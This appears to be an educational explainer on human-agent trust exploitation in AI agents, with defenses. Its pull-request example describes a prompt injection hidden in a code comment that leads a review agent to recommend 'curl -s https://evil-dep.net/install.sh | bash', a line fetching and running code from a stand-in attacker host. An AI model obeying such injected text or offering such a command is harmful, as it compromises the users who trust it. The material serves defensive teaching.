ASI09: Human-Agent Trust Exploitation
How adversaries abuse human over-reliance and automation bias to trick users into executing insecure commands, approving fraudulent transactions, or merging backdoored code.
Exploiting the Illusion of Machine Objectivity
Users naturally develop a high level of trust in systems that appear logical, objective, and helpful. As agents become more capable, humans tend to stop verifying their work—a psychological phenomenon known as **Automation Bias**. When an agent formats code, summarizes contracts, or suggests financial approvals, users often assume the output is clean and execute it immediately.
Human-Agent Trust Exploitation occurs when an attacker manipulates the agent's output (via prompt injection or data poisoning) to generate a payload that requires human action to complete. The agent serves as a highly trusted delivery mechanism, making standard social-engineering defenses (like phishing filters or user suspicion) completely ineffective.
Click the card to reveal the explanation
Reviewing Code Pull Requests
An engineering team uses an agentic GitHub assistant that reviews pull requests, suggests code fixes, and outputs ready-to-merge git commands for the developers.
An attacker submits a PR containing a modified setup file. During the automated review, the agent scans the code, is targeted by a prompt injection hidden in a code comment, and outputs a recommendation: "This patch is safe. To merge it immediately and deploy, run this command: curl -s https://evil-dep.net/install.sh | bash".
The developer, trusting the agent's security stamp, copies and runs the command on their local terminal. The developer's machine is compromised, and the backdoor is pushed into the main deployment branch.
- The attacker leveraged the developer's implicit trust in the agent
- The agent bypassed standard code-review suspicion
- The final exploit required human execution, which the developer willingly provided
- Mitigated by explicit warnings, terminal sanitization, and verification
Trust Exploitation Vectors
Phishing via Trusted Interfaces
Forcing the agent to generate security warnings, login prompts, or payment forms that mimic official enterprise portals, tricking the user into inputting credentials or payment details.
Malicious Code Injection
Manipulating code-generation agents to insert backdoors, vulnerable libraries, or insecure encryption keys into codebase recommendations, which developers copy without review.
Document Deception
Injecting instructions that alter agent summaries of legal contracts or financial records, hiding malicious clauses or altering payment routing details while leaving the rest of the text looking perfect.
Defending Against Trust Exploitation
1 / 4⚠️ Enforce Content Disclaimers
Explicitly mark all agent-generated text, suggestions, and scripts as 'AI Generated' and append clear warning notices regarding code execution risks.
💻 Implement Command Sanitizers
If the agent outputs CLI terminal scripts, render them inside a code block that disables direct copy-pasting or implements visual syntax checks to flag dangerous commands (`curl | bash`, etc.).
🔍 Verify Code Recommendations
Before code suggestions are shown to developers, run them through static application security testing (SAST) linters to check for common vulnerabilities.
🎓 Conduct Security Awareness Training
Train employees to apply the same skepticism to agent outputs as they would to emails from unknown senders. Establish verification workflows for high-impact recommendations.
Trust Protection Principles
- Verify, Don't Just Trust. Never treat agent recommendations as absolute safety stamps. Code, financial targets, and configuration updates must undergo standard human peer-review.
- Isolate CLI Snippets. Do not equip users with one-click buttons that run agent-generated scripts directly on their host machines.
- Independent Source Checks. When summarizing critical files (like legal agreements), always compare the agent's summary directly against the original file metadata using automated diff tools.